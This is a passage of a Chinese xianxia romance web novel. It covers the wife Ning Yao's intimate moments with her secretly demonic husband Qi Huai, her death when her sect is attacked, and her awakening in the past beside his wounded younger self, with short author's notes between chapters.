“非也非也,能同宁师妹结契,哪怕只得短短数十载。日后师妹若不在了,不还有即云宗这座靠山吗?” “慎言,慎言!”旁边弟子急忙喝止。 几人还想再侃,却见一道高挑身影背着人,如一阵疾风自身侧掠过。 那青年偏过头,幽深眼底凝着寒意,直直剐过他们心虚躲闪的脸。 几人霎时噤声,匆匆挪开视线行了一礼,手忙脚乱召出飞剑,佯装匆忙地遁走了。 直到人影消失在天际,他们齐齐后知后觉,骇出一身冷汗。 这祁淮修为竟如此深不可测,且不知听了多久? 祁淮看几人远去,蹙紧眉头,本想着“有仇当场便报”,可背上传来的温软体温与平稳呼吸,让他硬生生将翻涌的杀意压回心底。 死罪可免,活罪难饶。 那几人御剑落地下山时慌不择路,接连被无形之物绊了脚,摔得满身尘土狼狈不堪。 祁淮并未觉得舒坦半分。 他稳稳托了托背上的人,指尖无意般拂过她垂落在他胸前的发梢,那点阴郁躁意才被稍稍熨平。 他足下一点,身影没入深沉的夜色。 宁瑶醒来时,发现自己已躺在熟悉的床帐里,竟不知是何时被祁淮背回来的。 直到他照例抱她去沐浴,温热的水流没过肩颈,热意得暖烘烘的。 宁瑶迷迷糊糊睁开眼看了他一眼。 唇上一软,吻便落了下来,轻轻重重,像是试探,又像是确认她的存在。 祁淮克制舌尖渴意,末了将她用软巾裹了,打横抱起放到了榻上。 他的目光滚烫,像带着温度缓缓舔舐过她的脸颊,最终落在她的唇,他耐心又执着地吻去。 两人的床笫之欢上,祁淮向来是依着她的。若她不愿,他绝不会强迫,只是总会抵着她的肌肤,留下许多深深浅浅的印记,方能勉强罢休。 可今日有些不同。 祁淮格外热切,甚至有些燥意。 灵气随着他的吻渡来,熟稔地循着灵修的法门游走,伴随着隐约的水声,她被亲得有些发懵,舌尖已下意识地回应了一下。 “怎么了?”宁瑶含糊地问,睡意未散。 祁淮眸色晦暗,想起方才听见旁人议论之事,心底陡然窜起的、近乎暴戾的独占欲。 宁瑶,长长久久,只能是他一个人的夫人。 祁淮舔去宁瑶唇角的水痕,看着她眼中朦胧的困意与迷离,像隔着一层朦胧的雾。 他忽地想看见这双清亮的眼睛,染上同他一般的颜色。 吻细密地游移,从脸颊到耳垂,指尖已灵巧地探入寝衣的系带。 衣襟散开,垂首奈何。 细腻肌肤,早有他的气息,嫩粉渐染成好看的微红。 触感让宁瑶无意识地磨蹭了一下双膝,残存的睡意瞬间跑得无影无踪。 他的唇轻蹭着她的眉、眼、鼻尖,眼底像藏着一簇幽暗的即将燎原的火。 “张口,夫人。”祁淮低声诱哄。 明明刚刚他那样舔完,他还敢…… 宁瑶用眼神控诉着,鬼使神差地微张开了唇。 祁淮瞧见那一点嫣红丁香,怯怯藏在齿后,克制地轻轻贴上去,逐渐撬开唇关,更深地探入。 吞咽声细微。 他逗弄着,勾缠着,邀着她生涩共舞,欢愉地一点点夺走她的呼吸,也喂给她属于自己的气。 “还是不会换气。”他稍稍退开些许,声音含笑低哑。 “我可,可比以前好多了……” 一吻完毕,宁瑶轻//喘着反驳,整个人的魂仍陷在灵修带来的绵长战栗里。 她魂儿都像飘着在。 宁瑶嗔瞪他一眼,这一眼软得没什么力气,反而挠了他心口一下。 “好,怪为夫没教好夫人。”祁淮低笑认错,掌心贴着她后背,感知到她体内灵气的流转。 暖洋洋的气息从四肢百骸升起,宁瑶像被温泉水包裹,她好奇地往前凑近:“这是什么?” 回应她的是一个更深、更绵长的吻。 直到宁瑶气息不稳,祁淮才退开。 他鼻尖亲昵地蹭着她的鼻尖,声音如蛊惑:“夫人的奖励,就是允我今后日日如此亲近夫人。” “又是日日”宁瑶耳根发烫,笑着想从他怀里溜走,“这到底是谁奖励谁呀?” 祁淮手臂一紧,轻易将她锁回怀中。顺势低头敏感的耳垂轻咬一下,留下一阵细微的酥麻。 “这是双修的法门,能助长夫人修为。”祁淮含着笑解释。 宁瑶的脸“噌”地红透,连脖颈都染上绯色。 “啊?那之前夫君怎么不用……”她将脸深深埋进他的颈窝。 祁淮指尖轻捏了捏她发烫的脸颊,宠溺的戏谑道:“怕夫人像此刻这般,羞得无处可藏。为夫只能暗暗用,不叫夫人发现,好让夫人适应便再也离不开我了。” “你就知道打趣我。” 祁淮噙笑,藏起眸底阴郁又危险的暗潮,“谁叫夫人,总惹得我克制不了。” 他凑近脖颈印下一吻,呼吸间全是属于宁瑶的气息。 和自己的气息交汇在一起,这认知,无疑是让祁淮满足无比。 他撑起身,爱怜地拂过宁瑶的额头、鼻梁,最后停在泛红的唇瓣上,轻轻摩挲。 下一刻,探入她口中,沾了湿意,转而换了个角度探入,像逗弄着小猫最柔软的肚皮。 “唔,那是……”宁瑶呼吸一滞。 “这样夫人可好?” 听到祁淮居然还敢问她,宁瑶只得点头,“嗯。” 她想往床里侧挪动,祁淮就自后方将她整个拢进怀抱着。 他轻拂开宁瑶的碎发,捏了捏她的耳垂,笑着:“去哪?”他语气耐心地,磨人地。 她的话音断了些:“哪、哪都不去。” 祁淮笑意满满地偏头吻了吻湿亮的唇,瞧见宁瑶眼神迷蒙,祁淮唇边笑意更深。 真是个诱他彻底沉沦,夫人。 宁瑶不经意瞥向窗外,天色已褪去浓黑,透出朦胧的微光,“夫君,这该睡了吧……” 祁淮这才运转灵力,温和的灵气涌入她经脉,舒缓着每一寸酸软,“好夫人。” 暖流缓缓汇向丹田,宁瑶舒服地哼了一声。 本该循序渐进,可祁淮根本停歇不下来。 他贴着她湿意的额头,克制地拥着她一同躺下,手臂紧紧环着她的腰,半分松开的意思都没有。 “夫人,以后不要离开我,要信我。” 宁瑶餍足地闭上眼,无意识地“嗯”了一声,迷迷糊糊地在他肩头蹭了蹭,算作回应。 整个人在灵修带来的安宁与温暖中,沉沉睡去。 祁淮收拾完残局就紧紧抱着她,眸色微沉,那些不安搅动心神的情绪,在她怀里,妥帖地被收拾好。 可想到自己的身份,祁淮心头不由地一紧。 晨光微曦。 宁瑶眼皮轻颤,睡饱醒来,就见祁淮直勾勾看着自己,她喑哑的声音低低唤道:“夫君。” 祁淮亲了亲她的发顶,“醒了?” “嗯。”宁瑶嘟囔靠在他怀里,由祁淮抱她起床梳理打扮。 “今日我有一事,得出宗门一趟。” 作者有话说:记得正点看,小宝们(压根不懂,一段呼吸,一段湿发,是怎么就……y商在我之上,真是没招了) ps:上一篇存在虫子和标点缺失(晚上熬夜,困的没办法)整片文写完我一起改[狗头叼玫瑰]《 》 70-80 第71章 宁瑶托腮趴在窗边,瞧着祁淮昨日救活的那株满天星,嫩白指尖有一搭没一搭地拨着细小的花瓣。 忽听祁淮提起要出门,还只当是在即云宗内走动便“嗯”了一声。 过了好一会儿,宁瑶倏然回神,扭头望着祁淮:“今日就走?夫君何时回来?” “晚些便回。”祁淮走近,俯身在她额间落下一个轻吻,“短则三两日,长也不过……” 宁瑶心里莫名一颤。 成亲不到三个月,还未能和他分开过了。 ——竟腻腻歪歪地过了三个月了? 宁瑶一面感慨时日飞逝,一面无意识地揪住一片小叶子,指尖捻了又捻,“那你可得快些回来。” 祁淮揉了揉她后脑,将一枚莹润剔透的传音珠放入她掌心:“夫人若想我,随时用它唤我。” 宁瑶握紧珠子,妥帖收进袖里,嘴上却轻哼:“夫君可不许让我等太久。” 自成亲以来,两人从未分别超过一日。 宁瑶心头莫名突突跳了两下,还未细想,祁淮已从身后环住她的腰。 宁瑶自己转过身来。 她总爱面对面窝进祁淮怀里,满满当当的拥抱才踏实。 祁淮将她搂紧,下颌轻蹭她发顶。 若不是此行不得不去。 他倒真想日日夜夜同宁瑶在一同,将无意间瞥见的那些画册上的花样,一一试个遍。 可他…… “究竟什么事这般要紧?”宁瑶轻声问。 她记得爹爹说过,祁淮父母早亡,孤身修行至今,在即云宗外并无牵挂。她实在想不出,还有什么能让他突然离开。 唇轻轻抿了抿,宁瑶把那点不舍藏好,只伸手勾住他脖颈。 见他已倾身靠近,她主动将吻印在他唇上。 仿佛知晓此番离别在即,当祁淮加深这个吻时,她眼睫轻颤,竟生涩回应了他。 只有祁淮知道,要宁瑶这般主动回应,有多难得。 手指顺着那道腰线攀升,他扣住她的后颈,吻得投入,直到听见她漏出的喘//息,他手臂收得更紧,仿佛要将这一点声响都据为己有。 “夫人,在即云宗乖乖等我回来。” 祁淮指尖在她后颈敏感的肌肤上不轻不重地一点,像个无声的安抚。 “好啊。”宁瑶抬眸点头。 见她答应得飞快,却勾出某人更多离别的焦躁。 宁瑶压下不舍的小心思,就见他垂眸一眨不眨看着她。 祁淮弯腰忽然将她抱起,转而让她坐在敞开的窗台上。 “夫人,再来一次。” 宁瑶气息还未平顺,闻言垂眸,瞧见他仰起的脸上带着熟悉的,诱着她沉溺的笑。 她笑意盈盈地先亲了亲他眼尾的两颗小痣,“喜欢这两颗小痣。” “那夫人欢喜我吗?”祁淮阴郁的眸色一瞬不瞬地锁住她,在她望向自己时禁不住凝聚,带着一丝难言的紧张。 “欢喜。” “岂止欢喜。” 她学着他以往的样子,然后从额头一路蜻蜓点水般吻下去,最后故意在他唇上一压,发出清脆的“啵”的一声。 “这总行了吧?” “这一声不对。” 祁淮微歪头,笑得有些小恶劣,煞有介事地摇头,眸色却深了。 “哪不对了?”宁瑶故作好奇。 他不答,只灵巧地挑开她衣襟边缘。 呼吸在脖颈轻轻一撩,旋即啄出一声短促而暧昧的声音。 他笑着闷哼。 钻进宁瑶耳廓,酥麻直抵心尖。 宁瑶手一软,堪堪撑住他肩头。 脚尖却早已不由自主,轻轻环住了他的腰。 祁淮顺势托住她,将人抱起,看她埋在自己颈窝,他眼中阴郁散得一干二净。 转身两侧侧坐于床沿,宁瑶稳稳被抱坐在他腿上。 他垂眸,这次吻得很轻,像在确认某种所有。 “夫人。” …… 两人又在榻上耳鬓厮磨了许久,直到午后用过膳,宁瑶才将祁淮送至宗门外的石阶。 “夫人,等我。” “嗯。” 人影御剑,化作天边一点流光,最终消失不见。 方才强撑的轻松瞬间消散。 宁瑶独自回到院落,看着空荡荡的秋千,心里蓦然像空了一块。取出那枚传音珠,在掌心紧了又松。 会不会太粘人? 祁淮刚离开,说不定正在路上,此刻传音怕是打扰了他。 种种念头翻涌,宁瑶抿紧了唇。 “夫人,我想你了。” 传音珠猝不及防地传来他的声音,低哑含笑,像一片羽毛拂过心尖,顷刻间驱散了所有阴霾。 宁瑶眼睛一亮,嘴角翘起,立刻将珠子凑到耳边:“我也是。” 自此,数着日子过。 她每日会对着传音珠嘀嘀咕咕,今天厨娘做了桃花酥,甜得恰到好处;昨日哪位师兄被隔壁宗的师姐“劫”走了,至今没还回来…… 宁瑶说得鲜活有趣,仿佛他就在眼前听着,偶尔能听到那头传来一声低笑,或一句“然后呢”。 转眼七日。 有传音珠在,离别似乎也不难熬,甚至滋长出更多的期盼。 宁瑶摸了摸胸襟收好的珠子,听说他快回来了,望向山门方向眼中亮晶晶的。 她现在想去见他。 宁瑶拎着食盒才踏出门槛,漫天黑云压在天空,闷得人发慌。 “这雾,不对。”宁瑶虽修为浅薄,却也认得这绝非寻常瘴气。 心头猛地一揪——爹爹! 食盒“哐当”坠地,她朝主殿奔去。 沿途景象触目惊心。 陌生修士手段狠戾,捆了一地即云宗弟子。寒光凛冽的长刀,正死死架在林晏颈间。 “听说掌门之女才貌双绝,怎不请出来让我们见识见识?”为首的黑衣人冷哼道。 宁瑶恰在此时冲进殿前的广场,一眼望见被押着的父亲,脱口惊呼:“爹爹!” 那首领目光倏地锁住她,冷意挥手:“拿下!” 随即对身侧低语:“总算是逮着那魔头的软肋了。” “我们从未私藏什么魔头。”宁瑶拼命挣扎,却被一股蛮力掼倒在地。 冰冷的刃尖毫无凝滞地没入胸口。 “窝藏魔族,同罪论处。即云宗小小宗门,好大的狗胆。杀!” 剧痛自心口炸开,可更疼的是眼前景象:师兄师姐接连倒下,父亲的身影重重跌入血泊中…… 宁瑶视线逐渐模糊。 最后落入眼中的,是一道跌撞而来的深蓝色身影。 他跪倒在她面前,颤抖着手将她渐渐冰冷的身子抱起。 磅礴的、不再掩饰的浓黑魔气,从他周身疯狂涌出。 原来……是真的。 魔就在即云宗。 她的夫君,就是魔。 一滴泪自宁瑶眼角滑落,所有声息戛然而止。 轻飘飘的魂魄离了体,她听见撕心裂肺的哭喊。 “宁瑶!你不许死!” 祁淮紧紧搂着她,脸贴着她失去温度的脸颊,语无伦次,“是我错了,我该藏得更好的,是不是只要我再小心一点,你就不会……” 他从未这样痛哭过。 宁瑶指尖只掠过他的眼尾。 祁淮面色阴沉,轻轻放下宁瑶逐渐僵硬的身躯,缓缓站起。 再抬眼时,眸中只剩血色。 恨意不足以概全。 祁淮单手执剑,另一臂仍固执地环着宁瑶的尸身在自己怀中。 他的剑锋直指前方那些修士。 “你们,都该死。” 鲜血飞溅上他苍白的脸,却浇不灭眼底焚天的恨。 魔气如深渊迸发,他剑势狠绝,状若疯魔。 宁瑶的魂魄在一旁急得团团转,眼睁睁看他渐渐力竭,不敌四周的修士,周身魔气却越发骇人。 祁淮的指尖穿透心口,一颗魔心剧烈跳动。 这是! “不要!”宁瑶想去拦,手却穿过他的身体。 宁瑶意识越发沉了沉,彻底沉入黑暗前,她最后看见的一眼,是他回头望向“她”。 那双盈满绝望与疯狂、彻底沉入深渊的眼睛。 作者有话说:这个副本结束当然还没嘿嘿[亲亲] 第72章 等宁瑶再次睁开眼,还有些发懵。 脚下是蜿蜒的羊肠小径,两旁古木虬结,遮天蔽日。 窸窸窣窣的声响从枯叶传来,定睛一看蛇虫游走。宁瑶本能地朝旁边缩了缩,提起裙摆。 低头一瞧,自己竟还穿着那身精心裁制的鹅黄色长裙,是她特意为迎接夫君而穿的,如今色泽依旧鲜亮,胸口处更是光洁如初。 莫说伤痕,连一丝皱褶也无。抬手按上心口,掌心下传来清晰的跳动。 还活着? 没来得及理清匪夷所思的现状,不远处骤然爆发的喧闹便攫住了她的注意。 宁瑶屏住呼吸,提起碍事的裙角,蹑手蹑脚地挨近。躲在一棵需数人合抱的老树后,悄悄探出半个脑袋。 只见几个身着奇特色彩、满身银饰叮当的少年,正嬉笑着围成一圈。那银饰雕工精致,晃得人眼花。 而被他们围在中央的,是一个蜷缩在地的身影,满身污浊的泥浆与鞋印,正微微发颤。 她从未见过这般古怪的装束。 为首一个少年满脸倨傲,脚尖碾了碾地上人的手指,嗤笑道:“你这等污秽血脉,也配进我族御蛊司的门槛?” 他见地上那人竟抬起眼,阴沉沉地盯过来,眼底烧着不肯熄灭的火,顿时恼羞成怒,“看什么看?打你,你就得受着!” 寒光一闪,那少年竟从袖中掣出一把匕首,直直朝着地上人的眼睛刺去。 宁瑶灵力下意识便要流转,还未等她出手,异变陡生。 那一直蜷缩如虾米的少年,竟像蛰伏的兽般猛然暴起。 动作快得只剩一道残影。 听“噗嗤”一声闷响,伴随凄厉惨叫,持刀少年猛地捂住半边脸踉跄后退,指缝间鲜血狂涌,一只耳朵竟已少了半截。 少年颤巍巍地站直了身子,呸地吐出一口带血的皮肉,他唇角猩红,眼神狠戾。 几乎同时,细长的黑影自他腕间而出,精准咬中持刀少年的脸颊。 那少年惨叫更甚,手中一把弯弯的银刀出鞘,胡乱挥舞。 然而那满身污秽的少年动作更快、更刁钻。 众人只听得令人牙酸的“咔哒”一声脆响,手持弯刀少年的下巴已被卸掉,紧接着一记狠辣的腿肘重重顶在他的腹窝。 少年闷哼一声,蜷缩着倒地,只剩嗬嗬的抽气声。 这一连串变故不过瞬息之间。 余下几个少年被他这不要命的狠劲骇住,一时竟不敢上前,只纷纷亮出兵刃,色厉内荏地围拢。 宁瑶看得心惊肉跳,却也明白,此刻再不帮,那不要命的少年恐怕真要折在这里。 她深吸一口气,指尖掐诀。 林中忽地狂风大作。 这风来得邪门,卷起枯枝败叶劈头盖脸砸向那几个少年,吹得他们睁不开眼、站立不稳。 “谁?!谁在装神弄鬼!”有人壮着胆子大喊,声音却带了颤。 宁瑶赶紧捏住鼻子,粗声粗气地呵斥,声音透过风声传来,显得空灵又威严:“何方小辈,敢在本山神的地界撒野!” 山神? 那几个少年顿时脸色煞白,互相对视,皆看到对方眼中的惊惧。 几个少年慌忙朝着四周胡乱作揖,“山、山神息怒,是我等无知冒犯,求山神宽恕!” “滚。”那“山神”的声音似不耐烦,又似含着回音。 几人如蒙大赦,连滚爬爬地拽起地上昏迷的同伴,慌忙逃入密林深处。 有个逃在最后的,还不忘回头,朝那孤零零立在原地的身影投去怨毒的一瞥。 待脚步声远去,宁瑶才从树后转出。 几乎是同时,那一直背对着她、如孤狼般警惕的身影,缓缓转过了头。 四目相对。 宁瑶呼吸一滞。 眼前少年满脸污血与泥垢,脸颊上交错着数道狰狞旧疤,衬得那半张完好的脸愈发苍白。 可那眉骨的走势,紧抿时的唇线。 尤其是那双眼睛,即便此刻盛满了凶狠的戒备与未散的杀意,哪怕陌生至极,她也绝不会错认。 “……夫君?”她失声轻喃,不敢置信的恍惚。 少年祁淮眼神倏然一眯,像被这莫名其妙的称呼刺了一下。 舔去唇角残余的血腥,看她的目光如同审视一个罕见的,不太聪明的活物,警惕之余,浮起一丝冰冷的讥诮。 “你为何帮我?” 祁淮的眼神凝滞了一瞬,阴鸷深处掠过一丝疑惑,指尖摩挲着腕间冰凉的蛇鳞。 他看不懂这陌生之人眼中的情绪,那目光太过直接,甚至烫人。 宁瑶张了张口,脑子还有点懵。 眼前的少年眉眼锋利,伤痕累累,与记忆中那个沉稳温柔的夫君相去甚远。 “我、我是无意闯到这里的。”她老实回答,视线落在他脸颊那道狰狞的伤疤上。 这么长……该多疼啊。 祁淮蹙紧眉头。 眼前之人不知死活地往前靠近,他倏然抬手,腕间碧色小蛇昂首吐信,对准了她。 “停下。”他声音嘶哑,银饰轻响,“不许靠近。” 宁瑶何时被祁淮这样凶过? 哪怕是少年版也不行。 宁瑶心底一酸,委屈感漫上来。暗暗吸了口气,心底一股劲儿把那点酸涩硬生生压回去,“我,我没有坏心。”她抿了抿唇,努力让声音听起来更柔和无害,从储物手镯摸出一个小玉瓶,“我有很好的药膏,可以帮你治伤,不会留疤的。” 祁淮恶狠狠地瞪着她,像一只被侵犯领地会撕咬的孤狼。 “不用你假好心。” 宁瑶撇了撇嘴。 夫君才不会对她这么凶……算了,当务之急是搞清楚现状。 祁淮不再理会她,转身便走,只是左腿似乎有些不便,步伐略显滞涩。 他紧紧咬牙,背影挺直而孤峭。 宁瑶无处可去,想了想,隔着一段不远不近的距离,默默跟在了他身后。 听到身后脚步声,祁淮回眸瞥来一眼。 那眼神很凉、很冷,审视又陌生。 可她并未被这眼神吓到,跟着他一路走到了半山腰一栋孤零零的竹屋前。 屋子简陋,甚至有些漏风。四周竹林萧萧,望去一片苍翠寂寥,最近的烟火气只怕要穿过底下那片密林才能寻见。 “你到底要跟我到什么时候?”祁淮在竹屋门口停步,再次回身,语气透出不耐。 宁瑶摸了摸腕上隐形的储物镯,又将那瓶“清凝膏”取了出来,递向他。 “这个,祛疤生肌效果特别好。” 祁淮眼中闪过诧异。 寨子里的人对他避之唯恐不及,这衣着古怪的外族人,却一次次试图靠近。 他蹙眉,“离我远点。否则,我的‘小家伙’可不认人。” “我不怕。”宁瑶捏紧了小药瓶,没退。 “不怕?”祁淮像是听到了什么笑话,凝眸仔细打量她。 少女身形纤细,仿佛一折就断,哪能和那些自小与虫蛇为伴的苗疆人相比较。 “寨子里的人视我如洪水猛兽,你说你不怕?”他扯了扯嘴角,“它咬一口,你就活不成了。” 对着这张与夫君一模一样的脸,宁瑶不知哪来了勇气,竟仰起脸,直直看了回去。 “他们怕你,是他们的事。” “呵,”祁淮低笑一声,笑意却未达眼底,反而迈步缓缓逼近,“好大的胆子。你就不怕……我杀了你?” 属于少年的压迫感混杂着淡淡的血腥气袭来。 宁瑶心脏狂跳,脚下却像生了根,硬是梗着脖子没后退,甚几不可察地点了下头:“嗯。” 见过不怕死的,没见过这么不怕死的。 祁淮眼底的阴鸷淡了些,反而浮起玩味的兴趣。 “为什么?” “因为……” 她脑筋飞转,总不能说“因为你将来是我夫君”吧? 电光石火间,福至心灵,她道:“因为我对你一见钟情。” 话一出口,她自己都愣了愣。 祁淮显然也怔住了。 他盯着她看了好一会儿,那眼神古怪极了。 仿佛不是在审视一个大胆的倾慕者,而是在看一个突然得了失心疯的傻子,或者一个不可理喻的疯子。 宁瑶话到嘴边没收住,随口胡诌道:“你咬人时凶得很,像个狼崽,我就喜欢这样的夫……”最后那个字被她猛地咬住,硬生生咽了回去。 说完,她悄悄抬眼去瞟祁淮,却见他已走到跟前,脸色比刚才更沉了。 宁瑶心里直打鼓,怎么还弄巧成拙了? 祁淮将她从头到脚扫了一遍,心底嗤了一声:倒是笨得可以。 他径自坐到石桌边,朝门外抬了抬下巴,“自己走。” “我不走。”宁瑶一屁股坐在他对面,掏出药膏挖了一指,“脸凑过来。” 祁淮纹丝不动。 她索性伸手去,却被他一把攥住手腕。力道不轻,宁瑶疼得蹙起眉,“疼……” 那双眼顿时漫上水汽,委屈又酸楚,看得祁淮心头一悸,下意识松了力道。 纤细的手腕上,赫然印着五个泛红的指印。 “你自己凑上来的,疼也得受着。”他捻了捻指尖,上面还残留着她皮肤的温热,不由朝旁边挪开半寸。 宁瑶抿了抿唇,暗骂一声粗鲁,“我只是想给你上药。” 祁淮别开脸,语气里带着不自觉的冷硬:“来历不明的东西,拿远点。” 真是凶得没边了。 她非但不退,反而又凑近了些,指尖沾着药膏,轻轻点在他脸颊的伤处。 药膏带着微凉的触感,祁淮被激得浑身一僵,狠狠瞪她一眼,作势就要起身。 宁瑶眼疾手快,一把扯住他颈间的银饰项圈,“要是药有问题,反正我也跑不掉,随你处置好了。” 他沉默了,眸中掠过一丝冰冷的杀意与疑惑。 宁瑶仔细将那药膏在他颊边抹匀,目光落在他身上,“别处还有伤吗?袖子挽起来我看看。” 药膏敷过的地方微微发热,愈合的酥麻感传来,倒是好东西。 可她的话轻飘飘落在耳畔,那双眼睛亮得晃人,祁淮一时忘了动作。 “怎么不动了?” “胆子不小,真不怕死?” “嗯,是不太怕。” 宁瑶答得坦然,反倒把他噎住了。 “名字。” 宁瑶眼睛一亮,凑近笑了:“宁瑶。” “……祁淮。” 他说完,抓起那盒药膏,起身就朝那间漏风的竹屋走去,眼看要将她独个儿丢在外头。 “祁淮!”她急忙追了上去。 他脚步微顿的间隙,她身形灵活,侧身钻了进去。 屋内几乎称得上家徒四壁,除了一桌、一椅、一张床,再无他物。 “我帮你涂。” “你涂?”他语气仍有些阴阳,却没刚刚那么冲了,“只怕看见了,吓个半死。” “那你先脱,我看了再说。”她仰头看他,说得理所当然。 少年身形清瘦,肤色是一种久不见光的苍白,除了脸颊伤痕还是能看出日后昳丽精致,俊美无俦。 比起她记忆中已成婚的,青年时期的祁淮,眼前这人还要再矮上半个头。 宁瑶说得太直白,祁淮身体明显一僵。 “你不知羞。” 宁瑶悄悄撇了撇嘴。 她哪里没见过,往后更亲密,耳鬓厮磨的事都做尽了。 她伸手把他拉到屋内唯一还算齐整的床榻边。榻上没几件褥子,外面包着的那层蓝布,早已洗得发白。 “脱吧。”宁瑶凑近,弯了弯唇。 “不许看。”他语气凶巴巴。脖子却不知是气的,还是羞的,染上了一层红。 祁淮没有动作,宁瑶干脆自己上手去解衣衫。 “这上衣好难解开。” 祁淮一把抓着她的手,力道不轻不重,将她拽得转了身,“转过去,不许偷看。” 她身后是衣料摩擦的悉悉索索声,待声音停了,才回眸瞟了一眼。 祁淮赤着上半身,被打的青紫交加。 宁瑶心底泛起酸意,视线一一描摹那些紫红的印记,有些隐隐发紫,就知道那些人拳打脚踢,下手多重了。 她这是什么眼神? 祁淮不免蹙了蹙眉。 “收起你的眼神。”他说的声音小了一些,眼神迫切地移开。 她的眼神太透亮,关切望来时满是不曾见过的暖意。 宁瑶并未因他的话就此退缩。 祁淮没再像刚刚那般抵触这人身上无形散发的善意,在宁瑶靠近自己时无意识挪了挪。 四目相对,祁淮有些被烫到,压直身形,“怎么不涂了?” “嗯,涂的。如果你疼了,可以告诉我轻一些。”宁瑶声音不自觉软了软。 指尖小心翼翼地落在他胸膛,温热的指尖沾着乳白色的药膏,轻轻将其摸均匀。 面前少女认真专注的眼神,祁淮戒备有一瞬的松动。 宁瑶突然摸到一粒红色“小豆”,就听见祁淮闷哼一声。 “你在涂哪!?” “这儿连片都是伤。”宁瑶无辜眨了眨眼,她哪知道少年时期的祁淮,这般……敏感。 作者有话说:咳咳[让我康康],小宝们看看一个苦心求预收的我,助力我的下一本,同款苗疆少年文[狗头叼玫瑰][狗头叼玫瑰][狗头叼玫瑰] 第73章 祁淮气息倏地乱了。 一把扣住她手腕,力道大得宁瑶自己先“嘶”了一声。 见她眉心蹙起,撞见那抹眼里立刻漫上的委屈,指节松了松,齿关却咬紧道:“……这里,不许碰。” “哦。”宁瑶蘸着药膏的指尖径直滑向他腰侧。 他肤色是常年不见天日的苍冷,衬得那些瘀伤愈加狰狞,她的指腹在腰窝那片青紫上不轻不重地打了个旋,耳畔他的呼吸就沉了一分。 祁淮眼神暗沉地盯着她,她竟还是一脸坦然,甚至专注得像在摆弄什么死物。 齿关磨了磨,涌到喉头的讥讽与警告生生咽了回去。 “转过去。”宁瑶抬眸,寻常得像在与他极为熟络似的。 祁淮僵了片刻,背过身去。 她的指尖落下来仿佛带着不知名的暖意,轻易穿透皮肉,钻进骨骼缝里。 那触感极轻,不是预想中的刺痛,而是一种陌生的、令人头皮发麻的妥帖。 她的手指划过他绷紧的脊线,带起一阵细密如电流的酥麻。 他从未让人这般触碰过。 耳根率先不受控地烧起来,更恼人的是宁瑶真半分惧色。 这认知竟让他心底窜起一丝扭曲的快意。 可她凭什么不怕? 异样的战栗冲击着理智,祁淮攥紧身下的褥子,“够了。” “马上好。”宁瑶手下加快,利落地抹完背上的药膏,目光下意识往他腰间之下瞟了瞟。 祁淮似有感应,猛地抬手捂住她眼睛,动作快得连自己都愕然。 “……看什么?”他像被火燎到般撤开手,声音发紧。 “我没看。”宁瑶眨眨眼,一脸光明正大,“我是在想,你腿是不是也伤了?方才见你走路有些不稳。” 祁淮被她那双过于澄澈的眼睛晃了一下,像猝不及防撞见日头。 刺眼。 他偏头避开她的注视,嗓音干涩:“手没伤,我自己来。” 宁瑶点点头,避开视线,起身走到门外,还顺手替他掩好了门。 她仰头看了看天,声音隔着门板传来:“我等你。” 祁淮盯着合拢的门扉,指尖无意识地刮过药膏盒的边缘。 试探、冒犯、乃至他晦暗的不善,她都照单全收…… 为何还不走? 他抹完药,整理好衣衫,一把拉开门。 门外空空荡荡。 ……真走了? 一个莫名其妙缠上来的人罢了,无足轻重,他有什么值得关心的。 祁淮漠然地想,指尖却蜷进了掌心。 宁瑶揉着咕咕作响的肚子,盯着冷锅冷灶发愁。 饿是真饿,可巧妇难为无米之炊。 眼前这家徒四壁的屋子里,柴火堆得老高,却连片菜叶子都寻不见。 只能自力更生。 她一扭头,钻回了屋后的林子。 不多时,提溜着一只刚捕到肥硕的野鸡,还没等她掂量清楚,一片巨大的阴影将她笼罩。 宁瑶脊背一凉,回头吓得差点把野鸡扔出去。 一条通体漆黑的巨蟒,蛇身比她腰还粗,立起来足有两个她那么高,正吐着猩红的信子,赤红的竖瞳一瞬不瞬地盯着她。 一股浓重的腥膻味直冲鼻腔,熏得宁瑶头皮发麻。 被那冰冷的目光钉在原地,心脏狂跳。 宁瑶抬手一道灵力击出,趁那巨蟒虽体型庞大却异常灵敏地躲闪时,转身撒腿就跑。 黑蟒似乎并不急于吞噬,反倒像是被这衣着奇特,气息香甜的猎物勾起了兴趣,不紧不慢地游弋在她身后,如同戏弄。 宁瑶跑的一个不留神,脚下骤然踩中什么。 “啊——”惊呼声中,宁瑶整个人被倒吊着提了起来,狼狈地困在猎网里挣扎。 腥风扑面,血盆大口已近在咫尺。 她绝望地闭上眼。 一阵清脆的铃音忽然穿透林间的死寂。 叮铃……叮铃…… 宁瑶睁眼。 只见巨蟒的对峙,不知何时立着一个少年。 他漫不经心地把玩着腕间一条翠色小蛇,微微挑眉,朝她望来。 他眼神虎视眈眈,阴鸷冰凉,仿佛在无声问她跑什么? 宁瑶浑身的汗毛都竖起来了。 “跑去哪?” “你怎么可以拿蛇追我?!” 异口同声的话,祁淮对上她气得鼓起的脸颊,嘴角勾起一抹似笑非笑的弧度。 他指尖一划,绳索应声而断。 宁瑶惊叫着坠落,却被他稳稳接住,顺势半扛在肩上。 “不舒服。”胃部被顶得难受,宁瑶用力拍打他的后背。 “唔……”祁淮闷哼一声,身体几不可察地僵了僵,那正是他未愈的伤处。 “啊,忘了忘了。”宁瑶立刻讪讪地收了手,察觉到箍着她的手臂松了些许,连忙从他肩头滑溜下去,踉跄站定。 “你一个人,倒是挺能跑。”祁淮半垂着眼睫,目光沉沉地笼住她。 劫后余生的后怕与委屈涌上,宁瑶眼圈泛红,声音发颤:“那么大的蛇追我,我能不跑吗?!” “方才不是很有胆量?跟着我回来时不怕,现在倒怕了,不是不怕死吗?”祁淮缓步逼近,语气压低,无端渗出阴恻恻的寒意。 “我、我可以不信蛇,但我信你呀。”宁瑶往他身后缩了缩,拽住他的衣袖。 凶死了,她的夫君才不会对她这么凶。 祁淮似乎被她目光烫了一下,偏过头去,喉结微动,任由宁瑶躲藏的小动作,道:“那不是我的蛇。” “那它怎么不咬我们?”宁瑶不解地从他肩侧探头,又瞄了一眼盘踞不远的红眼黑蛇。 蛇信子嘶嘶探向少年,却在触及他气息的瞬间微妙地顿了顿。 粗壮的蛇尾抬起,不偏不倚指向宁瑶背后,她手里正紧紧攥着那只晕厥的野鸡。 “它这是何意?”宁瑶小声问。 “要你的鸡。”他声线平淡。 “不给。”宁瑶下意识把鸡往后藏了藏。 “命重要,鸡重要?” 宁瑶默了默,利落转身,将野鸡轻轻放在蛇尾边,“给你。” 那蛇用尾尖卷起猎物,却没立刻离开。 